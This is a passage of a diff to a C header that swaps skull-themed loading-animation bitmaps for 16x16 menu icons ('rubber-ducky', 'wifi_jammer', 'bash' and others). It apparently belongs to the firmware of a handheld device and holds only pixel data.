0xa4, 0x20, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x01, 0x08, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x03, 0x08, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x00, - 0x12, 0x51, 0x80, 0x00, 0x38, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x63, 0x00, - 0x00, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x10, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x00, 0x02, 0x94, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x60, - 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x18, 0x63, 0x9c, 0x00, 0x00, - 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x40, 0x12, 0x92, 0x90, 0x01, 0xa0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x80, 0x03, 0x00, 0x63, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x80, 0x03, 0x00, 0x63, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40, 0x10, - 0x10, 0x8c, 0xa5, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x01, 0x08, 0x62, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x94, 0x24, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0xc0, 0x78, 0x80, 0xb0, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x84, 0x69, 0x00, 0x61, 0x18, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x52, 0x00, 0x20, 0xb4, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, - 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x80, 0x00, 0x00, 0xc2, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x02, 0x00, 0x21, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x4c, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x06, 0x00, 0x00, 0x23, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x98, 0x01, - 0x04, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x08, 0x21, 0x08, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x18, 0x41, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x08, 0x43, 0x08, 0x20, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x0c, 0x21, 0x08, 0x62, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x12, - 0xc0, 0x86, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x61, 0x1c, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xc2, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x02, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x03, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0xff, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xff, - 0xc5, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x0c, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, - 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x72, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'skull_loading_9', 100x120px -const unsigned char bitmap_icon_skull_loading_9 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x60, 0x00, - 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x60, 0x00, 0x40, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x23, 0x00, 0xc3, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x00, 0xc2, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, - 0x14, 0x02, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x62, 0x00, 0x01, 0x8c, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x22, 0x02, 0x03, 0x88, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x63, 0x08, 0x81, 0x80, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x00, 0x03, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x02, 0x06, 0x01, - 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x02, 0x04, 0x21, 0x0c, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x84, 0x00, 0x42, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0xc4, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x63, 0x00, 0x01, 0x80, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x80, 0x22, - 0x02, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x63, 0x10, 0x00, 0x0c, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x21, 0x10, 0x01, 0x98, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x60, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x61, 0x00, 0x02, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x80, - 0x00, 0x12, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xa2, 0x18, 0x80, 0x1c, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0xe2, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x04, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x23, 0x10, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, - 0x1c, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x10, 0xc0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x20, 0x00, 0x06, 0x08, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x02, 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, - 0x87, 0x18, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x20, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x10, 0x02, 0x30, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x20, 0x06, 0x28, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x20, 0x00, 0x00, 0x08, 0xc8, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x18, 0x02, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x81, 0x80, 0x08, - 0x20, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x23, 0x88, 0x01, 0x00, 0x0c, 0x10, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x22, 0x90, 0x02, 0x19, 0x84, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x01, 0x28, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, - 0x00, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x03, 0x08, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x03, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xc0, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x21, 0x00, - 0xc2, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x84, 0x09, 0x01, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x10, 0xc2, 0x01, 0x80, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x30, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x20, 0x10, 0x40, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x04, 0x31, 0x80, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x06, 0x20, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x07, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x03, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; +// 'rubber-ducky', 16x16px +const unsigned char bitmap_rubber_ducky [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x01, 0xe8, 0x03, 0xf8, 0x01, 0xf0, 0x01, 0xe0, 0x20, 0xe0, + 0x37, 0xf8, 0x3f, 0xf8, 0x3f, 0xfc, 0x3f, 0xfc, 0x1f, 0xf8, 0x07, 0xf0, 0x00, 0x00, 0x00, 0x00 +}; +// 'random', 16x16px +const unsigned char bitmap_icon_random [] PROGMEM = { + 0x00, 0x00, 0x00, 0x18, 0x00, 0x0c, 0x60, 0x7e, 0x78, 0xfe, 0x1d, 0xfc, 0x0d, 0x98, 0x03, 0x80, + 0x07, 0x00, 0x06, 0x98, 0x0e, 0xfc, 0x7c, 0xfe, 0x78, 0x7e, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x00 +}; +// 'graph', 16x16px +const unsigned char bitmap_icon_graph [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x44, 0x00, 0x44, 0x00, 0x44, 0x40, 0x54, 0x44, 0x54, 0x44, + 0x55, 0x44, 0x55, 0x54, 0x55, 0x54, 0x55, 0x54, 0x55, 0x54, 0x40, 0x00, 0x7f, 0xfe, 0x00, 0x00 +}; +// 'list', 16x16px +const unsigned char bitmap_icon_list [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x19, 0xfc, 0x24, 0x00, 0x25, 0xfc, 0x18, 0x00, 0x01, 0xc0, 0x00, 0x00, + 0x00, 0x00, 0x19, 0xfc, 0x24, 0x00, 0x25, 0xfc, 0x18, 0x00, 0x01, 0xf0, 0x00, 0x00, 0x00, 0x00 +}; +// 'no_signal', 16x16px +const unsigned char bitmap_icon_no_signal [] PROGMEM = { + 0x00, 0x00, 0x88, 0x03, 0x50, 0x03, 0x20, 0x03, 0x50, 0x03, 0x88, 0x63, 0x00, 0x63, 0x00, 0x63, + 0x06, 0x63, 0x06, 0x63, 0x06, 0x63, 0x06, 0x63, 0xc6, 0x63, 0xc6, 0x63, 0xc6, 0x63, 0x00, 0x00 +}; +// 'signals', 16x16px +const unsigned char bitmap_icon_signals [] PROGMEM = { + 0x00, 0x00, 0x00, 0x20, 0x04, 0x20, 0x04, 0xa0, 0x14, 0xa8, 0x14, 0xa8, 0x54, 0xaa, 0x54, 0xaa, + 0x54, 0xaa, 0x54, 0xaa, 0x14, 0xa8, 0x04, 0xa8, 0x04, 0xa0, 0x04, 0x20, 0x00, 0x20, 0x00, 0x00 +}; +// 'wifi_jammer', 16x16px +const unsigned char bitmap_icon_wifi_jammer [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x0f, 0xf0, 0x18, 0x28, 0x20, 0x44, 0x07, 0xe0, 0x0c, 0xb0, + 0x01, 0x00, 0x03, 0xc0, 0x06, 0x00, 0x04, 0x00, 0x0d, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'bash', 16x16px +const unsigned char bitmap_icon_bash [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x7f, 0xfe, 0x7f, 0xfe, 0x7f, 0xfe, 0x40, 0x02, 0x5c, 0x02, 0x50, 0x02, + 0x44, 0x02, 0x5d, 0xc2, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x7f, 0xfe, 0x00, 0x00, 0x00, 0x00 +}; +// 'eye', 16x16px +const unsigned char bitmap_icon_eye [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xe0, 0x38, 0x1c, 0x60, 0x06, 0x9b, 0xd9, 0x77, 0xee, + 0xf7, 0xef, 0xf7, 0xef, 0x37, 0xec, 0x1b, 0xd8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'eye2', 16x16px +const unsigned char bitmap_icon_eye2 [] PROGMEM = { + 0x00, 0x00, 0x70, 0x0e, 0x40, 0x02, 0x40, 0x02, 0x07, 0xe0, 0x18, 0x18, 0x23, 0xc4, 0x46, 0x62, + 0x46, 0x62, 0x23, 0xc4, 0x18, 0x18, 0x07, 0xe0, 0x40, 0x02, 0x40, 0x02, 0x70, 0x0e, 0x00, 0x00 +}; +// 'floppy2', 16x16px +const unsigned char bitmap_icon_floppy2 [] PROGMEM = { + 0x00, 0x00, 0x31, 0xf6, 0x71, 0x96, 0x71, 0x96, 0x71, 0xf6, 0x70, 0x06, 0x7f, 0xfe, 0x7f, 0xfe, + 0x70, 0x0e, 0x6f, 0xf6, 0x6f, 0xf6, 0x68, 0x16, 0x6f, 0xf6, 0x28, 0x14, 0x6f, 0xf6, 0x00, 0x00 +}; +// 'go_back', 16x16px +const unsigned char bitmap_icon_go_back [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x06, 0x00, 0x0c, 0x00, 0x1f, 0xf0, 0x1f, 0xf8, 0x0c, 0x0c, + 0x06, 0x0c, 0x03, 0x0c, 0x00, 0x0c, 0x00, 0x78, 0x00, 0x70, 0x00, 